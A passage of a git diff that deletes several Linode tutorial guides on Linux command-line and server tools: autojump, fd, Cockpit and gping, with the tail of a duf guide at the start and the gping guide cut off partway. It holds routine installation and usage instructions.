easy and capable everyday replacement for du and df, with its quick and clear presentation and much wider range of features. You can learn more about duf, and a few more options it offers, on its official [GitHub page](https://github.com/muesli/duf). diff --git a/docs/guides/tools-reference/tools/faster-file-navigation-with-autojump/index.md b/docs/guides/tools-reference/tools/faster-file-navigation-with-autojump/index.md deleted file mode 100644 index 36a53562248..00000000000 --- a/docs/guides/tools-reference/tools/faster-file-navigation-with-autojump/index.md +++ /dev/null @@ -1,180 +0,0 @@ ---- -slug: faster-file-navigation-with-autojump -title: Faster File Navigation with autojump -description: 'autojump is a cd command that learns - jump to your most frequently visited directories.' -og_description: "Navigate files in the command line more efficiently with autojump, a tool that jumps to your most frequently accessed directories." -authors: ["Sam Foo"] -contributors: ["Sam Foo"] -published: 2017-12-29 -keywords: ["autojump", "python", "command-line"] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: - - '[autojump GitHub](https://github.com/wting/autojump)' - - '[Autojump Is a Faster Way to Browse Your Filesystem – Lifehacker](https://lifehacker.com/5583546/autojump-is-a-faster-way-to-browse-your-filesystem)' -tags: ["linux"] -aliases: ['/tools-reference/tools/faster-file-navigation-with-autojump/'] ---- - -## What is autojump? - -`autojump` is a command line utility similar to `cd`. It helps speeds up file navigation by maintaining a history of directories that have been previously navigated by the user. If there are directories with the same name, `autojump` maintains a weighted history to favor the most frequently accessed directory. - -## Install autojump - -This guide will cover installation on Linux and MacOS. Support for Windows [is limited](https://github.com/wting/autojump#known-issues). - -### Debian/Ubuntu - -1. Install the `autojump` package: - - sudo apt install autojump - -2. On Debian-based distros, manual activation is required. Add the following line to `~/.bashrc`(for Bash) or `~/.zshrc` (if you use zsh): - - {{< file "~/.bashrc" >}} -. /usr/share/autojump/autojump.sh -{{< /file >}} - -More information is available in the README: - - cat /usr/share/doc/autojump/README.Debian - -### CentOS - - yum install autojump - -For shell specific installation, use `autojump-zsh` for zsh and `autojump-fish` for fish. - -### MacOS - -The recommended installation method is to use [Homebrew](https://brew.sh/): - - brew install autojump - -Be sure to follow the instructions and add the line from installation into the corresponding configuration file. If using `oh-my-zsh`, add `autojump` as a plugin. - - {{< output >}} -Add the following line to your ~/.bash_profile or ~/.zshrc file (and remember -to source the file to update your current session): - [[ -s `brew --prefix`/etc/autojump.sh ]] && . `brew --prefix`/etc/autojump.sh -{{< /output >}} - -### Install autojump via Python - -1. Ensure that git is installed, navigate to the directory where autojump should be installed, then clone the autojump repo: - - git clone git://github.com/joelthelion/autojump.git - -2. Run the install script: - - cd autojump/ - ./install.py - - {{< note respectIndent=false >}} -autojump supports Python 2.6+, with the exception of 3.2. -{{< /note >}} - -## How to Use autojump - -Both `autojump` and `j` are equivalent for most purposes. `j` is preferred for convenience. - -1. Before jumping to any directory, check the weights of the installation: - - j -s - - Since no directories have been visited since installation, the total weight is 0. - - {{< output >}} -________________________________________ - -0: total weight -0: number of entries -0.00: current directory weight - -data: /Users/linode/Library/autojump/autojump.txt -{{< /output >}} - -2. Create an example directory and child. Visit each directory then navigate back to home. - - mkdir -p foo/bar/ - mkdir -p fuu/bar/ - cd foo/ - cd bar/ - cd ~ - cd fuu/ - cd bar/ - cd ~ - -3. Run `j -s` again. The new weights should be reflected in the results: - - {{< output >}} -10.0: /Users/linode/foo -10.0: /Users/linode/foo/bar -10.0: /Users/linode/fuu/bar -10.0: /Users/linode/fuu -________________________________________ - -40: total weight -4: number of entries -0.00: current directory weight - -data: /Users/linode/Library/autojump/autojump.txt -{{< /output >}} - -A more comprehensive description of the arguments can be found with: - - j --help - -### Jump to a Directory - -Jump to a directory: - - j bar - -### Jump to a Child Directory - -Jumping to a child with `c` is supported: - - jc foo - -### Jump with Multiple Arguments - -Multiple arguments can be used with partial names of the full path. - - j fu bar - -### Open Using File Manager - -The `o` command opens the file manager and can also be used in conjunction with `c`. - - jco fuu - -### Purge Deleted Directories from autojump - -When a directory is deleted, its weights remain in autojump's records. You should regularly purge these weights to prevent autojump from navigating to nonexistent directories. - -1. Navigate to the home directory and delete the `foo/` directory: - - cd ~ - rm -rf foo/ - -2. Purge the deleted directory from autojump: - - j --purge - -## Common Issues - -* `autojump` can only be used to jump to directories that have been visited after installation. If you attempt to jump to a directory not yet visited, `autojump` will return `.` - - Visit the directory before attempting to jump. - -* When using `oh-my-zsh`, opening a new Z shell causes the following error: - - {{< output >}} -/Users/linode/.rvm/scripts/initialize:48: __rvm_cleanse_variables: function definition file not found -/Users/linode/.rvm/scripts/initialize:50: command not found: rvm_error -{{< /output >}} - - Make sure `autojump` is added as a plugin in `.zshrc` then remove all `zcomp*` files. - - rm ~/.zcomp* diff --git a/docs/guides/tools-reference/tools/finding-files-with-fd-command/index.md b/docs/guides/tools-reference/tools/finding-files-with-fd-command/index.md deleted file mode 100644 index 9a7e0ccaee7..00000000000 --- a/docs/guides/tools-reference/tools/finding-files-with-fd-command/index.md +++ /dev/null @@ -1,246 +0,0 @@ ---- -slug: finding-files-with-fd-command -title: "Find Files With the fd Command" -title_meta: "How to Find Files With the fd Command" -description: 'This guide shows you how to install and use the fd tool on a Linux system. fd is a user-friendly alternative to the find command.' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2021-11-05 -keywords: ['fd linux command','find command linux','alternative to find','linux fd'] -tags: ['linux'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[fd GitHub page](https://github.com/sharkdp/fd)' ---- - -Linux users typically rely upon the built-in [`find` command](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/find.html) to locate files and directories on their system. It provides a large number of powerful and useful options, but its default behavior often fails to provide intuitive results. The free open-source [*fd*](https://github.com/sharkdp/fd) utility provides a user-friendly alternative to the `find` command. It is more efficient and easier to use, with default behavior that is better suited for the majority of searches. This guide compares the `find` and `fd` commands and explains how to use and install the `fd` command on Linux systems. - -## An Introduction to fd - -As with the `find` command, the `fd` command allows users to find entries in their filesystem. The basic syntax for the command is `fd `. Rather than being a complete replacement for find, fd focuses on simplicity, performance, and ease of use. - -The `fd` command does not support every option that the `find` command does. However, it has a more intuitive syntax with sensible defaults, so users do not usually have to append additional options. For instance, a search in `fd` is only case sensitive if a capital letter is included in the search term. Otherwise, the search is case insensitive. - -According to rigorous benchmark testing on Linux systems, fd generates results much more quickly than find does. It often takes only one-tenth as long to execute the same search and return the same results. fd achieves better performance due to its parallel tree traversal along with improved regex and ignore algorithms. - -## Key Differences Between fd vs find - -Because the `fd` command has been optimized for everyday use, it behaves differently than `find` in certain situations. Here are some of the main differences between the two commands: - -- By default, fd searches are based on directory name or filename. The `-name` or `-iname` options are not required, as they are often used when using the `find` command. -- Support for regular expressions is tightly integrated into fd. -- fd uses color output to highlight file types similar to the `ls` command. -- fd supports parallel command execution. -- Searches in fd are usually case-insensitive, but become case sensitive if a capital letter is included in the search term. The `find` command uses the `-iname` option to control this behavior. -- Default fd searches ignore hidden files and directories, as well as any patterns listed in the `.gitignore` file. - -## Install fd - -The `fd` command is available as part of the default packages on most Linux distributions. Instructions for the most common systems are as follows. - -### Ubuntu / Debian - -For release 19.04 and higher of Ubuntu, the fd application is available through APT. Ubuntu already has a package named `fd`, so the `fd` binary is referred to as `fdfind`. An alias must be added to use the `fd` command. - -{{< note >}} -For information on installing fd on earlier releases of Ubuntu, see [*the fd GitHub page*](https://github.com/sharkdp/fd#installation). -{{< /note >}} - -1. Install fd using APT. - - {{< note respectIndent=false >}} -Use `apt-get` in place of `apt` on Debian distributions. - {{< /note >}} - - sudo apt install fd-find - -1. (**Optional**) Create an alias for `fd` that refers to `fdfind`. To start using the `fd` command immediately, use the `alias` command. - - alias fd=fdfind - -1. (**Optional**) Add this entry to the `bashrc` file to make the alias permanent. - - {{< file "~/.bashrc" >}} -alias fd=fdfind - {{< /file >}} - -### RHEL Derivatives - -On Red Hat-based distributions, fd can be installed using DNF. There is no requirement to create an alias. - - dnf install fd-find - -{{< output >}} -... -Installed: - fd-find-8.1.1-3.fc33.x86_64 - -Complete! -{{< /output >}} - -### Arch - -On the Arch Linux distribution, the fd package can be installed from the official "pacman" repository. - - pacman -S fd - -### Alpine - -On the Alpine distribution, the fd package can be installed using apk. - - apk add fd -{{< note >}} -The `fd` command can also be installed on macOS using Homebrew. Use the command `brew install fd`. For instructions on downloading, installing, and using Homebrew, see the [Homebrew webpage](https://brew.sh/). -{{< /note >}} - -## How to Use fd - -The `fd` command is very useful on its own but can be made even more useful by adding regular expressions and command options. - -To see all of the available flags and options, along with usage instructions, use `fd -h`. The `fd --help` command provides even more detail about each option. - - fd -h - -{{< output >}} -fd 7.4.0 - -USAGE: - fd [FLAGS/OPTIONS] [] [...] - -FLAGS: - -H, --hidden Search hidden files and directories -... - -V, --version Prints version information - -OPTIONS: - -d, --max-depth Set maximum search depth (default: none) -... - -S, --size ... Limit results based on the size of files. - --changed-within Filter by file modification time (newer than) - --changed-before Filter by file modification time (older than) - -ARGS: - the search pattern: a regular expression unless '--glob' is used (optional) - ... the root directory for the filesystem search (optional) - -Note: `fd -h` prints a short overview while `fd --help` gives all details. -{{< /output >}} - -### Basic Search Functionality - -If fd is used without any arguments, it recursively displays all files and directories in the current working directory. This is very similar to the behavior of the `ls -r` command. However, `fd` is typically used with a parameter specifying the search pattern. - -Use `fd ` to find all entries in the current directory that match the search pattern. An entry is considered to be a match if its name contains the search pattern. The command searches all subdirectories recursively, so it also displays any matching entries in any directory that has the current directory in its path. - - fd backup - -{{< output >}} -accounts/payroll/backup_file.sql -accounts/payroll/backup_files.sql -backup -backup/accounts/payroll/backup_file.sql -backup/accounts/payroll/backup_files.sql -mysqlbackup -mysqlbackup/backup_file.sql -mysqlbackup/backup_files.sql -wpbackup -{{< /output >}} - -To search in a specific directory other than the current one, provide the full path of the directory as the second argument. The command pattern for this type of search is `fd `. - - fd backup /usr - -{{< output >}} -/usr/lib/mysql/plugin/component_mysqlbackup.so -... -/usr/src/linux-headers-5.4.0-86-generic/include/config/net/team/mode/activebackup.h -{{< /output >}} - -To list all files in a specific directory, use the wild card symbol `.` as the search pattern. - - fd . ~/wpbackup/public_html/wp-content/themes/twentytwentyone - -### Advanced Search Features - -The `fd` command also allows searches based on regular expressions, file extensions, exact file names, and hidden files. - -Technically, every fd search uses regular expressions. However, the search pattern can be specified in a regex format. The following search looks for entries starting with an `m` and containing the substring `back` at any other position. For more information on the regular expression syntax, consult the [regex documentation](https://docs.rs/regex/1.0.0/regex/). - - fd '^m.*back.*$' - -{{< output >}} -mysqlbackup -{{< /output >}} - -The `fd` command can be used with the `-e` option to find files with a particular extension. In the example below, the command finds all SQL files. - - fd -e sql - -{{< output >}} -accounts/payroll/backup_file.sql -... -mysqlbackup/customer_file.sql -{{< /output >}} - -Typically, fd works in regexp mode and parses the search term as a regular expression. However, adding the `-g` option forces `fd` to perform a glob-based search. This causes it to only display entries that exactly match the search term. In the following search, the `backup` directory matches, but `wpbackup` does not perfectly match and is not listed. - - fd -g backup - -{{< output >}} -backup -{{< /output >}} - -Without any options, `fd` skips over hidden files and directories. These are entries that have names beginning with the `.` character. However, adding the `-H` option causes `fd` to include these entries in its search. - - fd -H bash - -{{< output >}} -.bash_history -.bash_logout -.bashrc -{{< /output >}} - -The `-x` option allows the results to be piped to another command. This is referred to as *command execution*. The format of the command is `fd -x `. For instance, `fd -e txt -x vim` opens each file that matches the search criteria in Vim. To launch the command only once with the list of the files as a string of arguments, use `-X` instead. The `{}` token represents a placeholder for the filename in the target command. This allows for the execution of more complex commands. Consult the [fd documentation](https://github.com/sharkdp/fd) for a full list of all placeholders. - -In the following example, a backup copy is made of each `txt` file found by `fd`. The new file has the same name as the old file with `.bak` appended to the end. The `-x` option invokes the command for each matching entry. - - fd -e txt -x cp {} {}.bak - -For a full list of options, use `fd --help` or consult the [fd GitHub page](https://github.com/sharkdp/fd). Here are a few more options that might be useful: - -- To search for a match on the full path of the file, as opposed to only the filename, use `fd -p`. -- The `-I` option includes both hidden files and those that match a pattern in the `.gitignore` directory. -- `-E ` excludes all entries matching the excluded string. -- `-s` is used to force `fd` to perform a case-sensitive search. -- The `-t ` option is used to filter entries by entry type. Some common types are `f` for file, `d` for the directory, `l` for symlink, and `x` for executable. -- The `-d` option is used to set the maximum search depth in terms of the number of levels of subdirectories. - -### Using fd With Other Programs - -Because fd supports command execution, users can easily integrate other programs. For example, the output from fd can be piped to the as-tree program and represented in tree format. This is usually more useful than running the Linux `tree` command because `fd` has already pre-processed which files to display. To use the two programs together, run the following command. - - fd backup | as-tree - -{{< output >}} -. -├── accounts/payroll -│ ├── backup_file.sql -│ └── backup_files.sql -├── backup/accounts/payroll -│ ├── backup_file.sql -│ └── backup_files.sql -├── mysqlbackup -│ ├── backup_file.sql -│ └── backup_files.sql -└── wpbackup -{{< /output >}} - -For information on installing and using as-tree, consult the [*as-tree GitHub page*](https://github.com/jez/as-tree). - -The [fd documentation](https://github.com/sharkdp/fd) also explains how fd can be used in conjunction with Emacs, the fzf fuzzy finder, and the menu builder rofi. - -## Conclusion - -The `fd` command for Linux is an alternative to the built-in `find` command that is more intuitive and easier to use. fd runs more quickly and has intelligent defaults that align with the needs of most users. It can be installed on most Linux distributions and is usually part of the default package. - -`fd` is not able to do everything the `find` command does, but it has a large number of options that allow users to refine their searches. By default, fd ignores hidden files and is case sensitive only when a capital letter is included in the search term. fd uses regular expressions in its searches, and has powerful regexp capabilities. The `fd` command also supports command execution, which allows the search results to serve as input for another program or command. diff --git a/docs/guides/tools-reference/tools/how-to-administer-server-with-cockpit/index.md b/docs/guides/tools-reference/tools/how-to-administer-server-with-cockpit/index.md deleted file mode 100644 index e4a3c8550df..00000000000 --- a/docs/guides/tools-reference/tools/how-to-administer-server-with-cockpit/index.md +++ /dev/null @@ -1,225 +0,0 @@ ---- -slug: how-to-administer-server-with-cockpit -title: "Monitor and Administer a Server with Cockpit" -title_meta: "How to Monitor and Administer a Server with Cockpit" -description: 'This guide explains how to install and configure Cockpit, a system monitoring and administration tool.' -authors: ["Jeff Novotny"] -contributors: ["Jeff Novotny"] -published: 2022-05-04 -keywords: ['Cockpit linux','Linux cockpit','Cockpit server management','Cockpit ubuntu server'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' -external_resources: -- '[Cockpit website](https://cockpit-project.org/)' -- '[Cockpit applications page](https://cockpit-project.org/applications.html)' -- '[Cockpit installation instructions](https://cockpit-project.org/running.html)' -- '[Cockpit documentation](https://cockpit-project.org/guide/latest/)' -- '[Webmin](https://www.webmin.com/)' -- '[Netdata](https://www.netdata.cloud/)' -- '[cPanel](https://cpanel.net/)' -relations: - platform: - keywords: - - distribution: Ubuntu 22.04 LTS ---- - -It can be frustrating to manage a Linux server solely from the terminal, so users are always searching for an easier and more intuitive option. One of the more promising applications in this area is [Cockpit](https://cockpit-project.org/). Cockpit allows users to monitor and configure a server through a graphical user interface. This guide explains how to use Cockpit on Linux for server management and provides some background about the application. - -## What is Cockpit? - -Cockpit is a server management tool that is available as a Linux plugin. It allows users to manage Linux systems using a web-based graphical interface and dashboard. Cockpit is designed for all users, both those who are new to Linux and experienced administrators. Cockpit is efficient, lightweight, and easy to use. - -Cockpit provides a wrapper for Linux commands and uses existing system APIs, rendering it more robust against change. There is no requirement to remember the syntax of any command. Many tasks can be accomplished with a single click. Cockpit can co-exist with a web server, but a web server is not required to use Cockpit. - -Here are some of Cockpit's advantages and features: - -- It is a free and open source application. Cockpit for Linux is available under the GNU Lesser General Public License. -- It features an intuitive design. Each aspect of the server is separated into a different screen. -- It allows users to change network settings, manage storage, configure a firewall, browse system logs, upgrade software, oversee user accounts, and enable system services. -- It includes tools for monitoring performance and diagnosing network problems. It provides metrics for CPU utilization, memory use, network activity, and storage availability. -- It incorporates a built-in terminal to allow users to toggle between the command line and GUI. -- It can manage virtual machines, and download and run containers. -- Cockpit allows users to quickly switch between multiple servers. -- It is efficient and does not use resources when not active. -- It provides multi-user support, allowing a team to manage a server. -- It is compatible with existing tools like Ansible. Users can switch back and forth between tools as required. -- Cockpit supports many optional and third-party extensions. These applications extend Cockpit's capabilities even further. A full list can be found on the [Cockpit applications page](https://cockpit-project.org/applications.html). -- Cockpit includes a "starter kit" for creating custom and user-defined modules. - -## Cockpit vs Other Server Management Tools - -Cockpit is one of many available server management tools. Some of the other options include [Webmin](https://www.webmin.com/), [Netdata](https://www.netdata.cloud/), and [cPanel](https://cpanel.net/). Each of these tools can be contrasted with Cockpit in terms of its own relative strengths and weaknesses. - -- **Netdata**: Netdata is a free and open source application for managing both systems and applications. It is known for its high-quality visualization and interactive tools. Netdata is considered a strong alternative to Cockpit, but it is more focused on real-time monitoring. -- **Webmin**: Webmin is also a web-based system configuration tool. It can manage both Windows and Linux/UNIX systems. In addition to managing servers, Webmin can also modify applications and LAMP stack components. However, Cockpit is considered to have a more intuitive user interface. -- **cPanel**: cPanel is best known as a web host manager. However, it can also manage many server configuration tasks. cPanel is very well known because many web hosting services provide it to their users at no extra cost. However, it does not focus on server management like Cockpit does. cPanel is a paid service, not a free or open source alternative. - -Other tools including Ansible, Strapi, and Portainer serve complementary roles. They provide container management and IT automation tools, or serve primarily as *content management systems* (CMS). They can be used in conjunction with Cockpit to provide stronger capabilities in their area of expertise. In particular, Ansible and Cockpit are often used together, with Ansible providing an automation framework. Users can choose the best application for their current task. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you are not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## How to Install Cockpit on Ubuntu 22.04 LTS - -These instructions are designed for Ubuntu 22.04 LTS, but are generally valid for Ubuntu releases 20.xx and 18.xx as well. For other Linux distributions, refer to the [Cockpit installation instructions](https://cockpit-project.org/running.html). - -### Installing Cockpit - -To install Cockpit on Linux, follow these steps. - -1. Ensure software packages for the system are up to date. If prompted, press **Y** to continue and restart the system if necessary. - - ```command - sudo apt update && sudo apt upgrade - ``` - -2. Use `apt` to install Cockpit and press **Y** to continue. - - ```command - sudo apt install cockpit - ``` - -3. The Ubuntu server does not start Cockpit automatically. Launch the Cockpit service using the `systemctl` service. Both the `cockpit` and `cockpit.socket` processes must be started. - - ```command - sudo systemctl start cockpit cockpit.socket - ``` - -4. Confirm Cockpit is now running using the `systemctl status` command. When done, press **CTRL+C** to close the `systemctl status` output. - - ```command - sudo systemctl status cockpit - ``` - - {{< output >}} -cockpit.service - Cockpit Web Service - Loaded: loaded (/lib/systemd/system/cockpit.service; static) - Active: active (running) since Thu 2022-05-05 15:55:21 UTC; 5s ago -TriggeredBy: ● cockpit.socket - {{< /output >}} - - {{< note respectIndent=false >}} -Cockpit becomes dormant after a period of inactivity. In this case, it might display a status of `inactive (dead)`. Cockpit automatically wakes up when a user accesses it through its web interface. To confirm it is installed correctly, restart it using the previous instruction. - {{< /note >}} - -5. **(Optional)** To automatically activate Cockpit at start up, use the following command. - - ```command - sudo systemctl enable cockpit cockpit.socket - ``` - -6. To allow Cockpit connections through the firewall, allow port `9090` in `ufw`. Ensure `ufw` is configured to allow `OpenSSH` before it is enabled. Enable the firewall after entering all commands and press **Y** to proceed. - - ```command - sudo ufw allow OpenSSH - sudo ufw allow 9090 - sudo ufw enable - ``` - -7. Verify the firewall status. `ufw` should have a status of `active` and port `9090` should be allowed through the firewall. - - ```command - sudo ufw status - ``` - - {{< output >}} -Status: active - -To Action From --- ------ ---- -OpenSSH ALLOW Anywhere -9090 ALLOW Anywhere -OpenSSH (v6) ALLOW Anywhere (v6) -9090 (v6) ALLOW Anywhere (v6) - {{< /output >}} - -8. Cockpit is now ready to use. In a web browser, enter the IP address of the server, the `:` symbol, and port number `9090`. The Cockpit login page is then displayed. - - ```command - https://Ip_address:9090/ - ``` - - {{< note respectIndent=false >}} -If HTTPS is not enabled, the web browser displays a warning and tells the user the connection might not be safe. To bypass this warning, Click **Advanced** and then accept the certificate. The actual instructions vary depending on the browser. - {{< /note >}} - - ![Cockpit Login Page](Cockpit-Login-Screen.png) - -### Configuring Your Server - -Many server components can be configured directly from Cockpit without any Linux commands or access to a terminal console. The [Cockpit documentation](https://cockpit-project.org/guide/latest/) provides complete instructions on how to use the application. For a brief overview of Cockpit's configuration capabilities, follow these introductory steps. - -1. To start configuring a Linux server, first log in to Cockpit. To add the server to Cockpit, enter the user name of the server account and the password. The account must have `sudo` access. Alternatively, log in using the root server account. Although it is not necessary, a new account can be created to manage the Cockpit account. - - ![Cockpit Adding Login Details](Cockpit-Login-Details.png) - -2. Upon first login, you may find a yellow banner across the top of the screen that reads "Web console is running in limited access mode." Click the blue **Turn on administrator access** button and re-enter your user password to enable full access. - - ![Cockpit Limited Access Warning](Cockpit-Limited-Access.png) - -3. After validating the account credentials, Cockpit redirects the browser to the main Cockpit dashboard. The main **Overview** screen serves as the system dashboard. It provides a quick overview of the system. Each subsystem is listed in a menu bar on the left. The overview provides a summary of the basic status and health of the system, along with the CPU and memory usage. - - ![Cockpit Dashboard Overview](Cockpit-Dashboard.png) - -4. From the overview page, several options are available. To add a new account, click on the **Accounts** link in the left menu. This screen displays details about all user accounts associated with the system. - - ![Cockpit Accounts Tab](Cockpit-Accounts.png) - -5. Click on any account to view details about the account. To create an account, select the **Create new account** button. At the next screen, enter the account details. Add a user name and password for the new account. Click **Create** to add the account or **Cancel** to cancel. - - ![Cockpit New Account Screen](Cockpit-Create-Account.png) - -6. Use the Networking window to add bridges, VLANs, and other network components. Click on the **Networking** option in the left-hand menu. This screen displays the rate at which the system is transmitting and receiving data. It also lists the managed and unmanaged interfaces. Cockpit displays the network logs at the bottom of the screen underneath the other widgets. Scroll downwards to view the logs in reverse chronological order. - - ![Cockpit Networks Tab](Cockpit-Networking.png) - -7. To add a bridge or VLAN, use the corresponding button on the right side of the Networking window. For example, choose the **Add VLAN** button to add a VLAN. Then add the details about the new service. A bridge can be added through the **Add bridge** button. - - ![Cockpit VLAN screen](Cockpit-Add-VLAN.png) -{{< note >}} -To add a new server to Cockpit, click the arrow next to the user account details in the upper-left corner. You can either add a new host or select/search for an existing host. -{{< /note >}} - -### How to Use Cockpit to Manage Your Server - -Cockpit also makes it easy for administrators to manage and monitor an Ubuntu server. The following Cockpit server management options are available. - -- **System Monitoring**: On the main **Overview** screen, Cockpit provides a quick snapshot of the CPU and Memory usage. From the **Overview** page, click **View details and history** to view more performance metrics. - - ![Cockpit Performance Metrics screen](Cockpit-Performance-Metrics.png) - -- **Service Management**: Cockpit lets users manage and add new services. To access this page, click **Services** on the left-hand navigation panel. This screen displays a list of all the services. At the very top, Cockpit highlights any services that have failed to launch or have crashed. - - ![Cockpit Services screen](Cockpit-Services.png) - -- **Manage an Individual Service**: To manage a service, click on the service name. This displays a screen with more information about the service and the service logs. Click the button next to the service name to stop/disable or start/enable the service. The three dots next to the service name enables more options, such as "Restart". In the following screenshot, Cockpit displays information about the `mysql` service. - - ![Cockpit MySQL Service screen](Cockpit-Services-MySQL.png) - -- **Upgrade Software**: Cockpit allows users to automatically upgrade their software. Select **Software Updates** from the left-hand menu to see what updates are available. Click **Install all updates** to automatically upgrade the system. - - ![Cockpit Software Updates screen](Cockpit-Software-Upgrade.png) - -- **View Disc Usage**: Click on the **Storage** link in the menu to see how much system storage is being used. This screen lists each file system and allows users to see how often the storage drives are accessed. Configure a RAID device using the blue box in the upper-right corner, or mount an NFS drive by clicking the blue **Install NFS Support** button. Click on the name of a file system to view more information about it. This page also displays logs related to the storage system or the individual drives. - - ![Cockpit Storage screen](Cockpit-Storage.png) - -- **Analyze Logs**: To view all the system logs, click **Logs** from the left-hand menu bar. This screen allows users to filter the logs based on time, priority, process ID, or another search phrase. Click on any log item to learn more about it. - - ![Cockpit Logs screen](Cockpit-Logs.png) - -- **Terminal Access**: Cockpit allows users to toggle between its user interface and a system terminal for command line access. Click **Terminal** in the left-hand sidebar to open a system terminal. The user does not have to log in again. - - ![Cockpit Terminal](Cockpit-Terminal.png) - -## A Summary of the Linux Cockpit Application - -Cockpit is a server management tool for Linux-based systems. It provides an intuitive and easy to use graphical user interface. Cockpit permits multi-user access and can switch between servers. It is very efficient and does not use much memory or CPU when not active. Cockpit can be installed on Ubuntu using the `apt` utility. - -Cockpit allows users to perform Linux system configuration tasks. It provides the ability to add, remove, or delete network services, user accounts, and user services. It also supplies some sophisticated system monitoring tools. Users can see a snapshot of CPU and memory utilization, upgrade software components, view storage consumption, and read the system logs. It can even open a terminal window to the server right within the GUI. For more information about Cockpit, consult the [Cockpit website](https://cockpit-project.org/). \ No newline at end of file diff --git a/docs/guides/tools-reference/tools/how-to-use-gping-on-linux/index.md b/docs/guides/tools-reference/tools/how-to-use-gping-on-linux/index.md deleted file mode 100644 index b86866cccac..00000000000 --- a/docs/guides/tools-reference/tools/how-to-use-gping-on-linux/index.md +++ /dev/null @@ -1,143 +0,0 @@ ---- -slug: how-to-use-gping-on-linux -title: "Install and Use gping on Linux" -title_meta: "How to Install and Use gping on Linux" -description: "Learn how to use gping, a Linux tool with the functionality of ping and a modern graphical command-line display." -authors: ["Nathaniel Stickman"] -contributors: ["Nathaniel Stickman"] -published: 2021-10-22 -keywords: ['gping linux','ping linux','ping linux alternatives'] -tags: ['linux'] -license: '[CC BY-ND 4.0](https://creativecommons.org/licenses/by-nd/4.0)' ---- - -The gping tool takes the functionality of the ping tool and displays its data on a graph. With gping you can track the response time for hosts, and compare the data side by side. This guide shows you how to install gping and get started using it on your Linux system. - -## Before You Begin - -1. If you have not already done so, create a Linode account and Compute Instance. See our [Getting Started with Linode](https://techdocs.akamai.com/cloud-computing/docs/getting-started) and [Creating a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/create-a-compute-instance) guides. - -1. Follow our [Setting Up and Securing a Compute Instance](https://techdocs.akamai.com/cloud-computing/docs/set-up-and-secure-a-compute-instance) guide to update your system. You may also wish to set the timezone, configure your hostname, create a limited user account, and harden SSH access. - -{{< note >}} -This guide is written for a non-root user. Commands that require elevated privileges are prefixed with `sudo`. If you’re not familiar with the `sudo` command, see the [Users and Groups](/cloud/guides/linux-users-and-groups/) guide. -{{< /note >}} - -## What is gping? - -[gping](https://github.com/orf/gping) is a Linux tool that provides the same functionality as ping with information displayed on a graph. If you need to measure the response time of a host over time, gping is a tool for the task. With gping, you can ping multiple hosts simultaneously, making it easy to compare response times. You can customize how your gping graph displays information and it is able to graph the execution time of Linux commands. - -## How to Install gping - -This guide provides installation steps for Debian, Ubuntu, AlamaLinux, CentOS, and Fedora. Find the section below that corresponds to your system's distribution to learn how to install gping. - -### Debian and Ubuntu - -On Debian and Ubuntu distributions, use the following steps to install gping. - -1. Install the `gnupg` package, which is used for adding a repository key to APT: - - sudo apt install gnupg - -1. Add the Azlux repository to APT. Replace `buster` in the command below with the codename for your Debian release: - - echo "deb http://packages.azlux.fr/debian/ buster main" | sudo tee /etc/apt/sources.list.d/azlux.list - - On Debian, you can find your release's codename with the following command: - - lsb_release -a | grep Codename - - For example, if you are on a Debian 10 system, the above command returns the following output: - - {{< output >}} -Codename: buster - {{< /output >}} - - On Ubuntu, you can find the Debian codename with the command below: - - cat /etc/debian_version - - If you are on an Ubuntu 20.04 system, the above command returns the following output: - - {{< output >}} -bullseye/sid - {{< /output >}} - -1. Add the Azlux repository key to APT: - - wget -qO - https://azlux.fr/repo.gpg.key | sudo apt-key add - - -1. Update the APT registry, and install `gping`: - - sudo apt update - sudo apt install gping - -### AlmaLinux, CentOS, and Fedora - -On AlmaLinux, CentOS (8 and later), and Fedora, use the following steps to install gping. - -1. Use the COPR plugin to enable the repository for `gping`: - - sudo dnf copr enable atim/gping - -1. Install gping: - - sudo dnf install gping - -## How to Use gping - -To use the gping, issue the `gping` command followed by a hostname or IP address. The example below pings `github.com`: - - gping github.com - -![gping graph for github.com](gping-host.png) - -You can also use gping to graph multiple hosts' ping times simultaneously. The next example pings `github.com` and `gitlab.com`, each graphed in a distinct color for readability: - - gping github.com gitlab.com - -![gping graphs for github.com and gitlab.com](gping-multiple-hosts.png) - -Should you need a specific kind of IP address resolution, gping supports `-4` and `-6` options for resolving addresses to IPv4 and IPv6, respectively. - -gping provides options you can use to fine-tune its graph and also has an option to graph execution time of system commands. The next sections dive deeper into these command options and provide examples that show you how to use them. - -### Adjusting Display Options - -gping gives you control over the following two aspects of its graph: - -- The buffer time, using the `--buffer` option followed by a number of seconds. This determines how much time is shown on the graph screen. You can see in the screenshots above, from the times given below the graphs, that the default buffer time is **30** seconds. - -- The watch interval, using the `--watch-interval` option followed by a number of seconds, including fractions of a second. This controls how frequently `gping` measures ping time. The default is **0.5** seconds. - -The example employs both of these options to alter the display. The command below has `gping` display 60 seconds at a time and has it graph the ping time of `github.com` once every second: - - gping github.com --buffer 60 --watch-interval 1 - -![gping with display timing adjustments](gping-timing.png) - -If you need to simplify how gping renders the graph line, you can use the option `--simple-graphics`. With this option, gping uses dot characters instead of braille to render its graph lines. This can be useful on terminals that do not support braille rendering: - -![gping with a simplified graph line](gping-simplified.png) - -### Graphing Command Execution Time - -As a bonus feature, gping allows you to graph execution time for command-line commands. Using the `--cmd` option, gping lets you provide commands much as you would normally provide hostnames or IP addresses. For example: - - gping --cmd 'ls /' - -![gping graphing execution time for the 'ls /' command](gping-command.png) - -As with hosts, you can pass gping multiple commands when using this option to see the 